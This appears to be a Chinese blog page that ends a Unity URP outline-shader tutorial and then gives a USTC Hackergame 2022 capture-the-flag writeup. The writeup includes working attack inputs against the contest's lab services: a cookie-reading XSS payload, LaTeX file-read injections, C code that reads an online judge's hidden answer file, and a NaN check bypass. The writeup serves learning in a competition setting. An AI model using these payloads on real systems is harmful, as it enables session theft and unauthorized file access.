<span class="n">cmd</span><span class="p">.</span><span class="nf">Clear</span><span class="p">();</span>
<span class="p">}</span>
<span class="c1">// 回收 CommandBuffer</span>
<span class="n">CommandBufferPool</span><span class="p">.</span><span class="nf">Release</span><span class="p">(</span><span class="n">cmd</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="实现描边的-shader">实现描边的 Shader</h2>
<p>这里我们采取一种简单的方式,对每个像素周围的像素点采样,如果周围有 Mask 中的点而它本身不是 Mask 中的点那么便着色为描边。这里为了实现高亮效果,Mask 内本来也有的点也进行了另外的着色。</p>
<p>实现代码如下,注意其中与 <code class="language-plaintext highlighter-rouge">Blitter.BlitCameraTexture</code> 配合的部分:</p>
<div class="language-glsl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Shader</span> <span class="s">"SelectionRendering/SelectionBlit"</span>
<span class="p">{</span>
<span class="n">SubShader</span>
<span class="p">{</span>
<span class="n">Tags</span> <span class="p">{</span> <span class="s">"RenderType"</span><span class="o">=</span><span class="s">"Opaque"</span> <span class="s">"RenderPipeline"</span> <span class="o">=</span> <span class="s">"UniversalPipeline"</span><span class="p">}</span>
<span class="n">LOD</span> <span class="mi">100</span>
<span class="n">ZWrite</span> <span class="n">Off</span> <span class="n">Cull</span> <span class="n">Off</span>
<span class="n">Blend</span> <span class="n">One</span> <span class="n">OneMinusSrcAlpha</span>
<span class="n">Pass</span>
<span class="p">{</span>
<span class="n">Name</span> <span class="s">"ColorBlitPass"</span>
<span class="n">HLSLPROGRAM</span>
<span class="c1">// 从导入 URP 核心 HLSL 代码</span>
<span class="cp">#include "Packages/com.unity.render-pipelines.universal/ShaderLibrary/Core.hlsl"
</span> <span class="c1">// 从导入 Blitter 相关的 HLSL 代码</span>
<span class="cp">#include "Packages/com.unity.render-pipelines.core/Runtime/Utilities/Blit.hlsl"
</span>
<span class="cp">#pragma vertex Vert
</span> <span class="cp">#pragma fragment frag
</span>
<span class="cp">#define SAMPLE_COUNT 16
</span>
<span class="k">uniform</span> <span class="kt">float</span> <span class="n">_SampleDistance</span><span class="p">;</span>
<span class="k">uniform</span> <span class="n">float4</span> <span class="n">_OutlineColor</span><span class="p">;</span>
<span class="k">uniform</span> <span class="n">float4</span> <span class="n">_SelectionColor</span><span class="p">;</span>
<span class="n">half4</span> <span class="n">frag</span> <span class="p">(</span><span class="n">Varyings</span> <span class="kr">input</span><span class="p">)</span> <span class="o">:</span> <span class="n">SV_Target</span>
<span class="p">{</span>
<span class="c1">// 用于 VR 双眼渲染调整输入顶点信息,我们这里其实不需要</span>
<span class="n">UNITY_SETUP_STEREO_EYE_INDEX_POST_VERTEX</span><span class="p">(</span><span class="kr">input</span><span class="p">);</span>
<span class="c1">// 采样当前像素,_BlitTexture 材质的是在之前导入的 Blit.hlsl 中定义的</span>
<span class="n">float4</span> <span class="n">color</span> <span class="o">=</span> <span class="n">SAMPLE_TEXTURE2D_X</span><span class="p">(</span><span class="n">_BlitTexture</span><span class="p">,</span> <span class="n">sampler_PointClamp</span><span class="p">,</span> <span class="kr">input</span><span class="p">.</span><span class="n">texcoord</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">color</span><span class="p">.</span><span class="n">a</span><span class="o">></span><span class="mi">0</span><span class="p">.</span><span class="mi">1</span><span class="n">f</span><span class="p">){</span>
<span class="c1">// 预乘 Alpha</span>
<span class="k">return</span> <span class="n">_SelectionColor</span><span class="o">*</span><span class="n">_SelectionColor</span><span class="p">.</span><span class="n">a</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">insideCount</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="c1">// 采样周围的像素</span>
<span class="n">float2</span> <span class="n">texelSize</span><span class="o">=</span><span class="mi">1</span><span class="p">.</span><span class="mi">0</span><span class="o">/</span><span class="n">_BlitTextureSize</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">SAMPLE_COUNT</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="kt">float</span> <span class="n">s</span><span class="p">;</span>
<span class="kt">float</span> <span class="n">c</span><span class="p">;</span>
<span class="n">sincos</span><span class="p">(</span><span class="n">radians</span><span class="p">(</span><span class="mi">360</span><span class="p">.</span><span class="mi">0</span><span class="n">f</span><span class="o">/</span><span class="p">((</span><span class="kt">float</span><span class="p">)</span><span class="n">SAMPLE_COUNT</span><span class="p">)</span><span class="o">*</span><span class="p">((</span><span class="kt">float</span><span class="p">)</span><span class="n">i</span><span class="p">)),</span><span class="n">s</span><span class="p">,</span><span class="n">c</span><span class="p">);</span>
<span class="c1">// 这里采用的是采样一圈 16 个像素的方式</span>
<span class="n">float2</span> <span class="n">uv</span><span class="o">=</span><span class="kr">input</span><span class="p">.</span><span class="n">texcoord</span><span class="o">+</span><span class="n">float2</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="n">c</span><span class="p">)</span><span class="o">*</span><span class="n">texelSize</span><span class="o">*</span><span class="n">_SampleDistance</span><span class="p">;</span>
<span class="n">float4</span> <span class="n">sampleColor</span> <span class="o">=</span> <span class="n">SAMPLE_TEXTURE2D_X</span><span class="p">(</span><span class="n">_BlitTexture</span><span class="p">,</span> <span class="n">sampler_PointClamp</span><span class="p">,</span> <span class="n">uv</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">sampleColor</span><span class="p">.</span><span class="n">a</span><span class="o">></span><span class="mi">0</span><span class="p">.</span><span class="mi">1</span><span class="n">f</span><span class="p">){</span>
<span class="c1">// 统计在 Mask 中的像素的数量</span>
<span class="n">insideCount</span><span class="o">+=</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">insideCount</span><span class="o">>=</span><span class="mi">1</span><span class="p">){</span>
<span class="c1">// 预乘 Alpha</span>
<span class="k">return</span> <span class="n">_OutlineColor</span><span class="o">*</span><span class="n">_OutlineColor</span><span class="p">.</span><span class="n">a</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">float4</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">ENDHLSL</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>最终效果如下:</p>
<p class="content-image"><img src="../assets/img/content/unity-urp-outline/result.png" alt="" /></p>
<p>注意较窄的物体描边会有一点渲染错误,但是这是可以接受的。当然,将来也可考虑追求一下更好的渲染效果。</p>
<h2 id="一些遗憾">一些遗憾</h2>
<p>实际上,在渲染 Mask 的步骤,显然是使用单独的 Shader 而不是使用物体本来的材质比较好,这可以通过在 <code class="language-plaintext highlighter-rouge">DrawingSettings</code> 中指定一个自定义的 <code class="language-plaintext highlighter-rouge">ShaderTagId</code> 并实现。然而由于我不想给每个 Shader 都写一个自定义 Pass,所以我希望用 <code class="language-plaintext highlighter-rouge">DrawingSettings</code> 上的 <code class="language-plaintext highlighter-rouge">fallbackMaterial</code> 来为没有对应自定义 <code class="language-plaintext highlighter-rouge">ShaderTagId</code> 的 Pass 的 Shader 指定一个备用的材质。然而,这好象在当前版本中不工作,可能是 Bug,也可能是文档描述不清楚。希望将来可以好好用上这个特性。</p>
<h2 id="小结">小结</h2>
<p>实现了这个描边效果之后,我算是了解了 Unity 这个扩展渲染管线的方式。不过在这个过程中也是体会到了 Unity 的文档是多么缺,它自带的 Frame Debugger 是多难用。希望将来 Unity 会有改善。另外,在调试的过程中也体会到 RenderDoc 是有多么好用。当然,也希望将来能有更多机会在实际项目中玩一些视觉效果,毕竟美术效果的独特性也是独立游戏的魅力的一部分。</p>benpigchu题图为最终实现的描边效果USTC Hackergame 2022 Writeup2022-10-29T09:08:42+00:002022-10-29T09:08:42+00:00http://benpigchu.github.io/pikanote/article/ustc-hackergame-2022-writeup<blockquote>
<p>题图是本次 USTC Hackergame 我的题目完成情况</p>
</blockquote>
<p>一年一度的 USTC Hackergame 又开始了。去年我的成绩好像不错,今年也来玩一玩。和去年一样,今年也是每做一题就写一题的 Writeup,这样就不会因为比赛结束之后没有动力写而咕掉了。</p>
<p>以下按照解题时间顺序排序,有多个小题的,各小题分开排列。为了简单,题目本身的描述我就不写在 Writeup 里了,大家可以去 <a href="https://github.com/USTC-Hackergame/hackergame2022-writeups" target="_blank" rel="noopener">官方 Writeup</a> 查看。</p>
<h2 id="签到">签到</h2>
<p>和往年一样,识别的结果写在 URL search param 里了,所以我直接按照要求填入 2022。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="o">=</span><span class="s2">`http://202.38.93.111:12022/?result=2022`</span>
</code></pre></div></div>
<p>不过看了官方题解才发现其实是能手动点出来的啊……(当然,只是有这个可能性而已。)</p>
<h2 id="heilang">HeiLang</h2>
<p>按照题目要求写个 HeiLang 编译器不就好了嘛。不过我这里为了方便写的比较简略,但是应对题目中的那个文件还是没问题的。代码如下:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">fs</span><span class="o">=</span><span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">fs-extra</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">data</span><span class="o">=</span><span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">./getflag.hei.py</span><span class="dl">"</span><span class="p">,{</span><span class="dl">"</span><span class="s2">encoding</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">utf-8</span><span class="dl">"</span><span class="p">})</span>
<span class="kd">const</span> <span class="nx">result</span><span class="o">=</span><span class="nx">data</span><span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="sr">/</span><span class="se">([</span><span class="sr">a-zA-Z_0-9</span><span class="se">]</span><span class="sr">+</span><span class="se">)\[([</span><span class="sr">0-9 </span><span class="se">\|]</span><span class="sr">+</span><span class="se">)\]</span><span class="sr"> = </span><span class="se">([</span><span class="sr">0-9</span><span class="se">]</span><span class="sr">+</span><span class="se">)</span><span class="sr">/g</span><span class="p">,(</span><span class="nx">_</span><span class="p">,</span><span class="nx">a</span><span class="p">,</span><span class="nx">ks</span><span class="p">,</span><span class="nx">v</span><span class="p">)</span><span class="o">=></span><span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">ks</span><span class="p">,</span><span class="nx">v</span><span class="p">)</span>
<span class="k">return</span> <span class="nx">ks</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2"> | </span><span class="dl">"</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">k</span><span class="o">=></span><span class="s2">`</span><span class="p">${</span><span class="nx">a</span><span class="p">}</span><span class="s2">[</span><span class="p">${</span><span class="nx">k</span><span class="p">}</span><span class="s2">] = </span><span class="p">${</span><span class="nx">v</span><span class="p">}</span><span class="s2">`</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="s2">; </span><span class="dl">"</span><span class="p">)</span>
<span class="p">})</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">writeFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">getflag.py</span><span class="dl">"</span><span class="p">,</span><span class="nx">result</span><span class="p">)</span>
</code></pre></div></div>
<h2 id="xcaptcha">Xcaptcha</h2>
<p>当然是让电脑帮我们来算。本来想写成浏览器用户脚本的,但是限于浏览器本身渲染网页的速度,并不能在一秒之内提交结果,所以就改成直接 fetch 了。代码如下:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="k">async</span> <span class="p">()</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">question</span> <span class="o">=</span> <span class="k">await</span> <span class="p">(</span><span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://202.38.93.111:10047/xcaptcha</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">headers</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">accept</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">accept-language</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-HK;q=0.6,zh-TW;q=0.5,ja-JP;q=0.4,ja;q=0.3,ar-XB;q=0.2,ar;q=0.1</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">cache-control</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">no-cache</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">pragma</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">no-cache</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">upgrade-insecure-requests</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">1</span><span class="dl">"</span>
<span class="p">},</span>
<span class="dl">"</span><span class="s2">referrer</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">http://202.38.93.111:10047/xcaptcha</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">referrerPolicy</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">strict-origin-when-cross-origin</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">body</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">method</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">GET</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">mode</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">cors</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">credentials</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">include</span><span class="dl">"</span>
<span class="p">})).</span><span class="nx">text</span><span class="p">()</span>
<span class="kd">const</span> <span class="nx">match</span> <span class="o">=</span> <span class="nx">question</span><span class="p">.</span><span class="nx">matchAll</span><span class="p">(</span><span class="sr">/</span><span class="se">([</span><span class="sr">0-9</span><span class="se">]</span><span class="sr">+</span><span class="se">)\+([</span><span class="sr">0-9</span><span class="se">]</span><span class="sr">+</span><span class="se">)</span><span class="sr">/g</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">answer</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">()</span>
<span class="p">;[...</span><span class="nx">match</span><span class="p">].</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">m</span><span class="p">,</span> <span class="nx">i</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">answer</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="s2">`captcha</span><span class="p">${</span><span class="nx">i</span><span class="o">+</span><span class="mi">1</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span> <span class="p">((</span><span class="nx">BigInt</span><span class="p">(</span><span class="nx">m</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">BigInt</span><span class="p">(</span><span class="nx">m</span><span class="p">[</span><span class="mi">2</span><span class="p">]))).</span><span class="nx">toString</span><span class="p">())</span>
<span class="p">})</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">([...</span><span class="nx">answer</span><span class="p">])</span>
<span class="kd">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="k">await</span> <span class="p">(</span><span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://202.38.93.111:10047/xcaptcha</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">headers</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">accept</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">accept-language</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-HK;q=0.6,zh-TW;q=0.5,ja-JP;q=0.4,ja;q=0.3,ar-XB;q=0.2,ar;q=0.1</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">cache-control</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">no-cache</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">content-type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">application/x-www-form-urlencoded</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">pragma</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">no-cache</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">upgrade-insecure-requests</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">1</span><span class="dl">"</span>
<span class="p">},</span>
<span class="dl">"</span><span class="s2">referrer</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">http://202.38.93.111:10047/xcaptcha</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">referrerPolicy</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">strict-origin-when-cross-origin</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">body</span><span class="dl">"</span><span class="p">:</span> <span class="nx">answer</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">method</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">mode</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">cors</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">credentials</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">include</span><span class="dl">"</span>
<span class="p">})).</span><span class="nx">text</span><span class="p">()</span>
<span class="p">})()</span>
</code></pre></div></div>
<h2 id="猫咪问答喵">猫咪问答喵</h2>
<p>惯例的搜索引擎使用技巧考试。</p>
<ul>
<li>对于第一题,顺便找一个 NEBULA 战队的新闻通稿,就能在文中介绍 NEBULA 战队的部分找到。我找的是 <a href="https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm" target="_blank" rel="noopener">这一篇</a>。</li>
<li>对于第二题,在 LUG @ USTC 的 Wiki 中可以找到所有相关演讲的幻灯片,那么 <a href="https://ftp.lug.ustc.edu.cn/%E6%B4%BB%E5%8A%A8/2022.9.20_%E8%BD%AF%E4%BB%B6%E8%87%AA%E7%94%B1%E6%97%A5/slides/gnome-wayland-user-perspective.pdf" target="_blank" rel="noopener">这个演讲的幻灯片</a> 当中当然有答案。是 15 页那张图,不是前面的。</li>
<li>对于第三题,直接搜索 Firefox 和 Windows 2000 大概能找到不太准确的答案,再根据 <a href="https://www.mozilla.org/en-US/firefox/12.0/system-requirements/" target="_blank" rel="noopener">FireFox 官方某个版本系统要求页面的描述</a> 和 <a href="https://www.mozilla.org/en-US/firefox/13.0/system-requirements/" target="_blank" rel="noopener">它后面那个版本的描述</a> 就能得到准确的结果。</li>
<li>对于第四题,在 <a href="https://github.com/torvalds/linux" target="_blank" rel="noopener">Linux 内核源码仓库的 GitHub 镜像</a> 中搜索对应的 CVE 编号即可找到。</li>
<li>对于第五题,直接搜索这串 fingerprint 肯定是不行的,但是稍加搜索就可以知道使用 <a href="https://www.shodan.io/" target="_blank" rel="noopener">Shodan</a> 可以对 SSH fingerprint 进行搜索。不过本题的答案本身还是很有意思的。</li>
<li>对于第六题,在中科大网络信息中心的官网上可以看到,然而由于最近一次改定价并没有改这一种服务的的定价,所以应该填 <a href="http://ustcnet.ustc.edu.cn/2003/0301/c11109a210890/page.htm" target="_blank" rel="noopener">更早一次定价修改的文件</a> 中的时间。</li>
</ul>
<p>不过本届的猫猫问答提交之后会提示答对的题目数量了,大概也更容易爆破一些题目的答案了吧。</p>
<h2 id="家目录里的秘密---vs-code-里的-flag">家目录里的秘密 - VS Code 里的 flag</h2>
<p>打开压缩包随便看看,发现 <code class="language-plaintext highlighter-rouge">.config</code> 文件夹特别大。点进去发现了 <code class="language-plaintext highlighter-rouge">Code</code> 文件夹,大概是和 VSCode 有关的内容了,随便翻一翻便在 <code class="language-plaintext highlighter-rouge">User\History</code> 下面找到了编辑历史明文,里面就有答案。</p>
<h2 id="家目录里的秘密---rclone-里的-flag">家目录里的秘密 - Rclone 里的 flag</h2>
<p>在 <code class="language-plaintext highlighter-rouge">.config\rclone</code> 里面找到了 Rclone 的配置文件,然而其中指向的 ftp 服务器是 <code class="language-plaintext highlighter-rouge">ftp.example.com</code> ,显然是连不上去的。不过搜索得知 Rclone 会混淆配置文件中的密码,说不定混淆前的密码就是答案。搜索得知有 <a href="https://forum.rclone.org/t/how-to-retrieve-a-crypt-password-from-a-config-file/20051" target="_blank" rel="noopener">现成的代码</a> 可以用来解开混淆,运行之后发现果然是答案。</p>
<h2 id="旅行照片-20---照片分析">旅行照片 2.0 - 照片分析</h2>
<p>上次的旅行照片没有利用图片 EXIF 元信息的部分,这次就有了。对于 Windows 用户,只需要右键属性一下图片文件就可以获得所有的答案。</p>
<h2 id="旅行照片-20---社工入门">旅行照片 2.0 - 社工入门</h2>
<p>放大图片可以得知图中的建筑上的文字表明它是 <a href="https://en.wikipedia.org/wiki/ZOZO_Marine_Stadium" target="_blank" rel="noopener">ZOZO Marine Stadium</a> (真好啊真好啊,我也想去日本旅游)可以在 <a href="https://www.google.com/maps/place/ZOZO%E6%B5%B7%E6%B4%8B%E7%90%83%E5%9C%BA/@35.645196,140.030858,17z/data=!4m5!3m4!1s0x602281f64a6b928d:0x6df5d2c745778da9!8m2!3d35.6451583!4d140.0308307?hl=zh-CN" target="_blank" rel="noopener">在线地图</a> 上找到它的邮政编码。但是这并非是正确答案,因为拍照人所在地点是 <a href="https://www.google.com/maps/place/APA+HOTEL%26+RESORT+TOKYO+BAY+MAKUHARI/@35.6443939,140.0355143,17z/data=!4m15!1m6!3m5!1s0x602281f64a6b928d:0x6df5d2c745778da9!2zWk9aT-a1t-a0i-eQg-Wcug!8m2!3d35.6451583!4d140.0308307!3m7!1s0x6022821f18817a27:0xfa8bcc6837f106cd!5m2!4m1!1i2!8m2!3d35.6441113!4d140.0371528?hl=zh-CN" target="_blank" rel="noopener">旁边的酒店</a>,邮政编码有微小的差别。</p>
<p>从 EXIF 元信息来看,摄像机型号为 sm6115,也就对应于高通骁龙 662。在小米和红米的手机下查找高通骁龙 662,并对照图片中的手机型号,可以得知设备是 <a href="https://www.mi.com/redminote9-4g/specs" target="_blank" rel="noopener">红米Redmi Note 9 4G版</a>,在小米的设备参数介绍页面可以得到屏幕分辨率。</p>
<p>有了位置和时间信息,就可以通过航班数据库查询对应的航班了。然而,由于公开的航班数据库似乎基本上不会对公众免费开放历史数据查询,所以只好在 <a href="https://www.flightradar24.com/" target="_blank" rel="noopener">flightradar24</a> 上蹭了一下它的免费试用版。最后找到了对应的航班。需要注意的是,当地时区是 UTC+9,填时间的时候需要注意换算。不过按照官方题解,在 <a href="https://globe.adsbexchange.com/?r" target="_blank" rel="noopener">ADSB Exchange</a> 上其实是有回放功能的,比赛时我没有在界面上找到这个功能,原来是需要填写特定 URL search param 才能启用的隐藏功能啊。</p>
<h2 id="猜数字">猜数字</h2>
<p>鉴于后端判断的代码中认为猜的数不大于正确的数并且猜的数不小于正确的数即为猜对,那么我只需要猜一个 NaN 那就一定能猜对。不过前端做了限制不能直接猜 NaN,然而我们可以手动发请求啊。</p>
<h2 id="latex-机器人---纯文本">LaTeX 机器人 - 纯文本</h2>
<p>只需要使用 <code class="language-plaintext highlighter-rouge">\input</code> 把对应文件包含进来即可。</p>
<h2 id="latex-机器人---特殊字符混入">LaTeX 机器人 - 特殊字符混入</h2>
<p>加入井号等特殊符号以后,直接 <code class="language-plaintext highlighter-rouge">\input</code> 就会报语法错误了。不过 <a href="https://tex.stackexchange.com/questions/422197/latex-environment-to-write-in-plain-text-mode" target="_blank" rel="noopener">搜索发现</a>,通过自定义环境重写字符种类,可以让井号和下划线被当作普通字符来使用。那么使用如下 LaTeX 代码便能显示对应文件内容:</p>
<div class="language-latex highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">\newenvironment</span><span class="p">{</span>simplechar<span class="p">}{</span><span class="k">\catcode</span>`<span class="k">\#</span>=12<span class="k">\catcode</span>`<span class="k">\_</span>=12<span class="p">}{}</span><span class="nt">\begin{simplechar}</span><span class="k">\input</span><span class="p">{</span>/flag2<span class="p">}</span><span class="nt">\end{simplechar}</span>
</code></pre></div></div>
<h2 id="安全的在线测评---无法-ac-的题目">安全的在线测评 - 无法 AC 的题目</h2>
<p>居然没有限制文件读写,那直接把答案文件复制出来不就好了。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#define BLOCK 1024
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">FILE</span> <span class="o">*</span><span class="n">fp</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"./data/static.out"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">b</span><span class="p">[</span><span class="n">BLOCK</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="k">while</span> <span class="p">(</span><span class="mi">1</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">size_t</span> <span class="n">ret_code</span> <span class="o">=</span> <span class="n">fread</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="k">sizeof</span> <span class="o">*</span><span class="n">b</span><span class="p">,</span> <span class="n">BLOCK</span><span class="p">,</span> <span class="n">fp</span><span class="p">);</span>
<span class="n">fwrite</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="k">sizeof</span> <span class="o">*</span><span class="n">b</span><span class="p">,</span> <span class="n">ret_code</span><span class="p">,</span> <span class="n">stdout</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret_code</span> <span class="o"><</span> <span class="n">BLOCK</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="线路板">线路板</h2>
<p>找一个 <a href="https://gerber-viewer.ucamco.com/" target="_blank" rel="noopener">在线的支持线框模式的 Gerber 文件查看器</a>,把 zip 拖进去,然后抄写即可。</p>
<h2 id="flag-自动机">Flag 自动机</h2>
<p>首先来解决狠心夺取按钮会动的问题。用 Ghidra 打开,搜索界面中的文本,发现程序使用 WinAPI 创建了按钮之后把句柄存在了全局变量中。再寻找全局变量的引用,发现它会在某一个分支中随机移动按钮的位置。把对应的分支指令改掉再打开,发现狠心夺取后会提示不是超级管理员。再搜索对应字符串发现它会在一个分支里弹出提示而在另一个分支输出 flag,找到对应分支指令改掉再运行就能拿到答案了。</p>
<h2 id="微积分计算小练习">微积分计算小练习</h2>
<p>只需把答案输进 Wolfram|Alpha 即可得到答案……啊不,这样只是得到微积分计算的答案而已。</p>
<p>要让访问页面的 Bot 把 flag 吐出来,那需要构造 XSS。练习成绩页面内我们能控制的内容只有姓名,测试发现果然没有过滤。不过直接插入 script 标签的话是不执行的,那就用经典的 <code class="language-plaintext highlighter-rouge">img</code> 标签的 <code class="language-plaintext highlighter-rouge">onerror</code> 属性好了。以下是我的姓名(确信):</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>毕辟希 - <span class="nt"><img</span> <span class="na">src=</span><span class="s">""</span> <span class="na">onerror=</span><span class="s">"setInterval(()=>document.querySelector('#score').textContent=document.cookie,10)"</span><span class="nt">/></span>
</code></pre></div></div>
<h2 id="企鹅拼盘----这么简单我闭眼都可以">企鹅拼盘 - 这么简单我闭眼都可以!</h2>
<p>一共只有 4 比特一共 16 种输入,那当然是手动枚举一下就行了!</p>
<h2 id="光与影">光与影</h2>
